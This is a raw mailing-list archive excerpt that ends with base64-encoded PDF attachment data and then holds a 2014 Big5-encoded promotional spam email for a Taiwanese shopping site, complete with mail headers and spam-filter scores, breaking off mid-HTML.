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 So5UpkslWypZUsmUSoZU0qWSJpVUqUyTylSpTJHKZKlMkspEqaRIJVkqE6QyXipJUhknlUSpjJXK GKkkSGW0VEZJZaRURkglXirDpTJMKkOlMkQqcVKJlcpgqQySykCpDJBKjFT6S6WfVK6RSl+p9JFK b6n0kkpPqfSQSnepdJNKV6l0kUpnqXSSSkepdJBKe6m0k0pbqbSRSmuptJJKS6m0kEpzqURLpZlU oqQSKZUIqfik4pVKU6k0kUpjqYRLpZFUGkqlgVTqS6WeVMKkUlcqdaRSWyq1pBIqlRCpeKTiloop FZdUDKkESyVIKk6p6FJxSEWTiioVRSpMKmQrzC+VSqlclMoFqZyXyp9S+UMq/5bK71L5TSq/SuUX qfwslZ+k8qNUfpDK91L5TirnpHJWKt9K5RupfC2VM1L5SipfSuULqXwulc+kcloqn0rlE6l8LJWP pPKhVP4llQ+k8r5U3pPKu1J5RypvS+WUVN6SyptSeUMqr0vlpFRek8qrUnlFKi9L5SWpvCiVF6Ry QirPS+U5qTwrleNSeUYqT0vlKakck8qTUnlCKo9L5TGpPCqVR6TysFSOSuUhqRyRyoNSeUAq90ul QiqHpVIulfukcq9U7pHKIakclMoBqdwtlbuksl8qd0rlDqncLpXbpHKrVPZJZa9U9kjlFqnslsrN UrlJKrukslMqO6SyXSo3SmWbVLZK5QapbJHKZqlsksr1UtkolQ1SWS+VdVJZK5U1Ulktleukskoq K6UizR4mzR4mzR4mzR4mzR4mzR4mzR4mzR4mzR4mzR4mzR4mzR4mzR4mzR4mzR4mzR4mzR4mzR5W LBVp/zBp/zBp/zBp/zBp/zBp/zBp/zBp/zBp/zBp/zBp/zBp/zBp/zBp/zBp/zBp/zBp/zBp/zBp /zBp/zBp/zBp/zBp/zBp/zBp/zBp/zBp/zBp/zBp/zBp/zBp/zBp/zBp9jBp9jBp9jBp7TBp7TBp 7TBp7TBp7TBp7TBp7TBp7TBp7bBB93MFVnNF035e2MwVTcMglgnXtRVNe0MsFa4lQiyuaGpCLBKu hUIsEGK+EPMqmgyAmFvRZBDEHCFmC1EmwkqFq0SIYuE5q6LJQIgiIQqFKBBR8oXIE2JmReNYiBlC 5AqRI8R0IbIrGg+GyBKuTCEyhEgXIk2IVCGmCTFVpJsiXJOFmCTERCFShEgWYoIQ44VIEmKcEIlC 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 Gz9monCv3LCBBjaJL2+SmFy+t0lKfPlSKDFc8UOhJofr0cCUNlNLykratCmdil9TS0rbWH/hYmXc 1YZ78r8lpXDzP2WWm9r87Y+IBjGtBD+l0rP071P9//2H/b8uwP/+n8OELpo8wK+soExlOVgGrgVL wRKwGCwCC8ECMB/MA3PBHDAblIFSUAJmgSJQCApAPsgDM8EMkAtywHSQDbJAJsgA6SANpIJpYCqY AiaDSWAiSAHJYAIYD5LAOJAIxoIxIAGMBqPASDACxIPhYBgYCoaAOBALBoNBYCAYAGJAf9APXAP6 gj6gN+gFeoIeoDvoBrqCLqAz6AQ6gg6gPWgH2oI2oDVoBVqCFqA5iAbNQBSIBBHAB7ygKWgCGoNw 0Ag0BA1AfVAPhIG6oA6oDWqBUBACPMANTOACBggGQcAJdOAA2gA/fqtAAQwQZTL4sUpwEVwA58Gf 4A/wb/A7+A38Cn4BP4OfwI/gB/A9+A6cI/6/oc1k34JvwNfgDPgKfAm+AJ+Dz8Bp8Cn4BHwMPgIf gn+BD8D74D3wLngHvA1OgbfAm+AN8Do4CV4Dr4JXwMvgJfAieAGcAM+D58Cz4Dh4BjwNngLHwJPg CfA4eAw8Ch4BD4Oj4CFwBDwIHgD3gwpwGJSD+8C94B5wCBwEB8Dd4C6wH9wJ7gC3g9vArWAf2Av2 gFvAbnAzuAnsAjvBDrAd3Ai2ga3gBrAFbAabwPVgI9gA1oN1YC1YA1aD68AqsJIyByxlGP8M459h /DOMf4bxzzD+GcY/w/hnGP8M459h/DOMf4bxzzD+GcY/w/hnGP8M458VA8wBDHMAwxzAMAcwzAEM cwDDHMAwBzDMAQxzAMMcwDAHMMwBDHMAwxzAMAcwzAEMcwDDHMAwBzDMAQxzAMMcwDAHMMwBDHMA wxzAMAcwzAEMcwDDHMAwBzCMf4bxzzD+GcY+w9hnGPsMY59h7DOMfYaxzzD2GcY+w9j/fz0P/y// Sfl/XYD/5T8Npk39PzH7uSsKZW5kc3RyZWFtCmVuZG9iagoyMyAwIG9iago8PCAKICAgL0xlbmd0 aCAzMzYKPj4Kc3RyZWFtCi9DSURJbml0IC9Qcm9jU2V0IGZpbmRyZXNvdXJjZSBiZWdpbgoxMiBk aWN0IGJlZ2luCmJlZ2luY21hcAovQ0lEU3lzdGVtSW5mbwo8PCAvUmVnaXN0cnkgKFNvZnRsYW5k KSAvT3JkZXJpbmcgKElkZW50aXR5KSAvU3VwcGxlbWVudCAwID4+IGRlZgovQ01hcE5hbWUgL1Nv ZnRsYW5kIGRlZgovQ01hcFR5cGUgMiBkZWYKMSBiZWdpbmNvZGVzcGFjZXJhbmdlCjwwMDAwPiA8 RkZGRj4KZW5kY29kZXNwYWNlcmFuZ2UKMSBiZWdpbmJmY2hhcgo8MDAwMz4gPDAwMjA+CmVuZGJm Y2hhcgplbmRjbWFwCkNNYXBOYW1lIGN1cnJlbnRkaWN0IC9DTWFwIGRlZmluZXJlc291cmNlIHBv cAplbmQKZW5kCgplbmRzdHJlYW0KZW5kb2JqCnhyZWYKMCAyNCAKMDAwMDAwMDAwMCA2NTUzNSBm IAowMDAwNjE4MDg0IDAwMDAwIG4gCjAwMDA2MTgxODggMDAwMDAgbiAKMDAwMDYxODI1NiAwMDAw MCBuIAowMDAwNjE4NTc3IDAwMDAwIG4gCjAwMDA2MTg4NjUgMDAwMDAgbiAKMDAwMDAwMDAxNSAw MDAwMCBuIAowMDAwMDQ0OTAwIDAwMDAwIG4gCjAwMDAxMTc2MjIgMDAwMDAgbiAKMDAwMDYxOTI5 MCAwMDAwMCBuIAowMDAwMTkxNjAwIDAwMDAwIG4gCjAwMDA2MjAxMTMgMDAwMDAgbiAKMDAwMDI1 MzY0NiAwMDAwMCBuIAowMDAwNjIwOTM3IDAwMDAwIG4gCjAwMDAzMzI4OTUgMDAwMDAgbiAKMDAw MDYyMTc2MSAwMDAwMCBuIAowMDAwNDM5NzY0IDAwMDAwIG4gCjAwMDA1MzY3OTggMDAwMDAgbiAK MDAwMDYyMjU4NSAwMDAwMCBuIAowMDAwNjIyNzQ3IDAwMDAwIG4gCjAwMDA2MjMwMjEgMDAwMDAg biAKMDAwMDYyMzI4MSAwMDAwMCBuIAowMDAwNjIzMzcxIDAwMDAwIG4gCjAwMDA2NDI0ODIgMDAw MDAgbiAKdHJhaWxlcgo8PCAKICAgL1Jvb3QgMSAwIFIKICAgL0luZm8gNSAwIFIKICAgL1NpemUg MjQKPj4Kc3RhcnR4cmVmCjY0Mjg3NAolJUVPRgo= ------=_NextPart_000_22FF_01CF1CC9.4FE92F40-- From woogii@woogii-etaiwan.com Wed Jan 29 02:29:28 2014 Return-Path: <woogii@woogii-etaiwan.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_FONT_SIZE_LARGE, HTML_IMAGE_RATIO_02,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DC0FD7F80 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 02:29:27 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0A34AAC011 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 00:29:23 -0800 (PST) X-ASG-Debug-ID: 1390984154-04cbb05ba91da240001-NocioJ Received: from woogii-etaiwan.com (218-161-95-131.HINET-IP.hinet.net [218.161.95.131]) by cuda.sgi.com with SMTP id LAEtYfJrEP6uGqlA for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 00:29:15 -0800 (PST) X-Barracuda-Envelope-From: woogii@woogii-etaiwan.com X-Barracuda-Apparent-Source-IP: 218.161.95.131 Reply-To: "=?BIG5?B?V29vR2lpIKrAuHPByqqrpa2leA==?=" <woogii@woogii-etaiwan.com> From: "=?BIG5?B?V29vR2lpIKrAuHPByqqrpa2leA==?=" <woogii@woogii-etaiwan.com> To: <xfs@oss.sgi.com> Subject: =?BIG5?B?V29vR2lpIKrAuHPByqqrpa2leKFpq361UKbmvlCzzKjOu1KleKFqqem4Z8DZIbdSpXjGVyE=?= Date: Wed, 29 Jan 2014 14:51:28 +0800 X-ASG-Orig-Subj: =?BIG5?B?V29vR2lpIKrAuHPByqqrpa2leKFpq361UKbmvlCzzKjOu1KleKFqqem4Z8DZIbdSpXjGVyE=?= MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_000A_01CF1C5A.C0146470" X-Priority: 3 X-MSMail-Priority: Normal Importance: Normal X-Unsent: 1 X-MimeOLE: Produced By Microsoft MimeOLE V15.4.3555.308 X-Barracuda-Connect: 218-161-95-131.HINET-IP.hinet.net[218.161.95.131] X-Barracuda-Start-Time: 1390984155 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 1.29 X-Barracuda-Spam-Status: No, SCORE=1.29 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, DYN_RDNS_AND_INLINE_IMAGE, EXTRA_MPART_TYPE, HTML_FONT_SIZE_LARGE, HTML_IMAGE_RATIO_02, HTML_MESSAGE, MISSING_MID, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144596 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 EXTRA_MPART_TYPE Header has extraneous Content-type:...type= entry 0.00 HTML_FONT_SIZE_LARGE BODY: HTML font size is large 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.00 DYN_RDNS_AND_INLINE_IMAGE Contains image, and was sent by dynamic rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Message-Id: <20140129082923.565601B8025@cuda.sgi.com> oO MIME 榡 Multipart lC ------=_NextPart_000_000A_01CF1C5A.C0146470 Content-Type: multipart/alternative; boundary="----=_NextPart_001_000B_01CF1C5A.C0148B80" ------=_NextPart_001_000B_01CF1C5A.C0148B80 Content-Type: text/plain; charset="BIG5" Content-Transfer-Encoding: quoted-printable WooGii = =ACO=A5x=C6W=B2=C4=A4@=AD=D3=AA=C0=B8s=C1=CA=AA=AB=BA=F4=AF=B8~=B4N=ACO=AA= =C0=B8s=BA=F4=B8=F4=AAA=B0=C8 + =B9q=A4l=B0=D3=B0=C8=20 =20 =20 =20 =20 WooGii = =A4=A4=A4=D1=B9q=B5=F8=BBP=B8g=C0=D9=A4=E9=B3=F8=B1j=A4O=B3=F8=BE=C9: = http://mywoogii.com/INVITE/20131007/media.html=20 =20 WooGii =B6}=A9=B1=BB=A1=A9=FA: = http://mywoogii.com/INVITE/20131007/home.html=20 =20 =BBP WooGii =A6X=A7@ = =AA=BD=B1=B5=C2I=BF=EF=A1u=B3s=B5=B8=A7=DA=AD=CC=A1v=20 =20 =BD=D0=A5=DF=A7Y=A5[=A4JWooGii FB=AF=BB=B5=B7 = =A7=D6=A6=DC=A4U=A6C=BA=F4=A7}=AB=F6=A1=A7 =C6g=A1=A7=20 WooGii =A1iFB=AF=BB=B5=B7=B9=CE=A1j: = https://www.facebook.com/woogii.co=20 =20 ------=_NextPart_001_000B_01CF1C5A.C0148B80 Content-Type: text/html; charset="big5" Content-Transfer-Encoding: quoted-printable <HTML><HEAD></HEAD> <BODY dir=3Dltr> <DIV dir=3Dltr> <DIV style=3D"FONT-SIZE: 12pt; FONT-FAMILY: 'Calibri'; COLOR: #000000"> <TABLE=20 style=3D"FONT-FAMILY: ; WHITE-SPACE: normal; WORD-SPACING: 0px; = TEXT-TRANSFORM: none; COLOR: #000000; LETTER-SPACING: normal; = LINE-HEIGHT: normal; TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px"=20 cellSpacing=3D0 cellPadding=3D0 width=3D1000 align=3Dcenter border=3D0> <TBODY> <TR> <TD><FONT face=3D"Times New Roman"><STRONG><FONT style=3D"COLOR: = #0000ff"=20 size=3D6 font=3D""><EM>WooGii<SPAN=20 class=3DApple-converted-space>&nbsp;</SPAN></EM></FONT><FONT=20 style=3D"COLOR: #0000ff" size=3D4 = font=3D"">=ACO=A5x=C6W=B2=C4=A4@=AD=D3=AA=C0=B8s=C1=CA=AA=AB=BA=F4=AF=B8~= =B4N=ACO=AA=C0=B8s=BA=F4=B8=F4=AAA=B0=C8 +=20 =B9q=A4l=B0=D3=B0=C8</FONT></STRONG></FONT></TD></TR> <TR> <TD><FONT face=3D"Times New Roman"><FONT=20 style=3D"FONT-SIZE: 16.5pt">&nbsp;</FONT></FONT></TD></TR> <TR> <TD><A href=3D"http://www.woogii.com.tw"><IMG=20 onfocus=3Dif(this.blur)this.blur() title=3Dimage1=20 style=3D"BORDER-TOP: 0px; BORDER-RIGHT: 0px; BACKGROUND-IMAGE: = none; BORDER-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; = BORDER-LEFT: 0px; DISPLAY: inline; PADDING-RIGHT: 0px"=20 border=3D0 alt=3Dimage1 = src=3D"cid:7B1B16DED7E0403A86C587EE31032CD2@adminPC"=20 width=3D1000 longDesc=3D"http://www.woogii.com.tw" = height=3D500></A></TD></TR> <TR> <TD><FONT face=3D"Times New Roman"><FONT=20 style=3D"FONT-SIZE: 16.5pt">&nbsp;</FONT></FONT></TD></TR> <TR> <TD><FONT face=3D"Times New Roman"><FONT=20 style=3D"FONT-SIZE: 16.5pt">&nbsp;</FONT></FONT></TD></TR> <TR> <TD><FONT face=3D"Times New Roman"><STRONG><FONT style=3D"COLOR: = #0000ff"=20 size=3D6 font=3D""><EM>WooGii</EM><SPAN=20 class=3DApple-converted-space><EM>&nbsp;</EM><FONT=20 = size=3D4>=A4=A4=A4=D1=B9q=B5=F8=BBP=B8g=C0=D9=A4=E9=B3=F8=B1j=A4O</FONT><= /SPAN></FONT><FONT style=3D"COLOR: #0000ff"=20 font=3D""><FONT size=3D4>=B3=F8=BE=C9:<SPAN = class=3DApple-converted-space>&nbsp;<A=20 href=3D"http://mywoogii.com/INVITE/20131007/media.html"><FONT=20 = size=3D5>http://mywoogii.com/INVITE/20131007/media.html</FONT></A></SPAN>= </FONT></FONT><FONT=20 style=3D"COLOR: #0000ff" = font=3D""></FONT></STRONG></FONT></TD></TR> <TR> <TD><FONT face=3D"Times New Roman"><FONT=20 style=3D"FONT-SIZE: 16.5pt">&nbsp;</FONT></FONT></TD></TR> <TR> <TD><FONT face=3D"Times New Roman"><STRONG><FONT style=3D"COLOR: = #0000ff"=20 size=3D6 font=3D""><EM>WooGii<SPAN=20 class=3DApple-converted-space>&nbsp;</SPAN></EM></FONT><FONT=20 style=3D"COLOR: #0000ff" size=3D4 = font=3D"">=B6}=A9=B1=BB=A1=A9=FA:<SPAN=20 class=3DApple-converted-space>&nbsp;<A=20 href=3D"http://mywoogii.com/INVITE/20131007/home.html"><FONT=20 = size=3D5>http://mywoogii.com/INVITE/20131007/home.html</FONT></A></SPAN><= /FONT><FONT=20 style=3D"COLOR: #0000ff" = font=3D""></FONT></STRONG></FONT></TD></TR> <TR> <TD><FONT face=3D"Times New Roman"><FONT=20 style=3D"FONT-SIZE: 